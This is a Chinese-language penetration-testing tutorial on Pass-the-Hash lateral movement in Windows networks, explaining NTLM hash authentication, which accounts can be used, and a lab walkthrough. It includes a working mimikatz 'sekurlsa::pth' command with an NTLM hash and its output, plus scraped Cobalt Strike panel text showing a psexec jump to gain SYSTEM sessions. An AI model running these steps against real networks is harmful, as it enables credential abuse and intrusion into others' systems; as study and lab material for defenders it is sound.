

# Pass the Hash 哈希传递攻击(PTH)横向移动

## 哈希传递

大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)。在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

## 哈希传递攻击原理

当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)散列加密算法一般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。主流的Windows操作系统,通常会使用 NTLM Hash对访问资源的用户进行身份验证。早期版本的Windows操作系统,则使用 LMHash对用户密码进行验证。但是,当密码大于等于14位时,就无法使用 LM Hash了。从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用 LM Hash,因为在使用 NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例如 Lsalogon User)转换成散列值。不过,攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。

## 哈希传递条件

哈希传递攻击的前提: 有管理员的 NTLM Hash, 并且目标机器开放445端口。

Windows Vista 之前的机器, 可以使用本地管理员组内用户进行攻击。

Windows Vista 之后的机器, 只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击, 其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击, 会提示拒绝访问。

在工作组环境中: Windows Vista 之前的机器, 可以使用本地管理员组内用户进行攻击。Windows Vista 之后的机器, 只能是administrator用户的哈希值才能进行哈希传递攻击, 其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击, 会提示拒绝访问。

在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击, 攻击成功后, 可以访问域内任何一台机器。

## 哈希传递实验

实验环境如下

192.168.41.30 机器是admin用户进行登录 (本地管理员)  
192.168.41.20 机器是administrator登录 (本地管理员)  
两台机器的administrator administrator用户账号密码相同

目前使用dir不能访问20机器

```
Administrator: 命令提示符
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\windows\system32>dir \\192.168.41.20\c$
Logon failure: unknown user name or bad password.

C:\windows\system32>
C:\windows\system32>
C:\windows\system32>
C:\windows\system32>
C:\windows\system32>
```

使用mimikatz进行hash传递,

```
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator
/domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab
```

```
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:administrator /domain:192.168.41.20 /ntlm:570a9a6
5db8fba761c1008a51d4c95ab
user      : administrator
domain    : 192.168.41.20
program   : cmd.exe
impers.    : no
NTLM      : 570a9a65db8fba761c1008a51d4c95ab
| PID 2288
| TID 308
| LSA Process is now R/W
| LUID 0 ; 742534 (00000000:000b5486)
| msv1_0 - data copy @ 0000000000AD8350 : OK !
| kerberos - data copy @ 0000000000B12D08
| aes256_hmac -> null
| aes128_hmac -> null
| rc4_hmac_nt OK
| rc4_hmac_old OK
| rc4_md4 OK
| rc4_hmac_nt_exp OK
```

传递完成后会弹出一个框可以进行链接了

## 使用cs上线

选择pth攻击

address	name
192.168.41.20	WANLI-PC
192.168.41.40	PC-WEB
192.168.41.100	
192.168.41.132	10

- Jump

SYSTEM \*@2720

扫描

服务

主机
- psexec

psexec64

psexec\_psh

ssh

ssh-key

winrm

winrm64

psexec\_psh

— □ ×

用户名:

administrator

密码:

8fba761c1008a51d4c95ab

Domain:

192.168.41.20

监听器:

wanli

...

会话

\* via 192.168.41.40@1996

...

☐ 使用当前会话的访问令牌

开始

帮助

等待上线

175.9.140.137	192.168.41.20	wanli	SYSTEM *	WANLI-PC
175.9.140.137	192.168.41.40	wanli	admin *	PC-WEB
175.9.140.137	192.168.41.40	wanli	admin	PC-WEB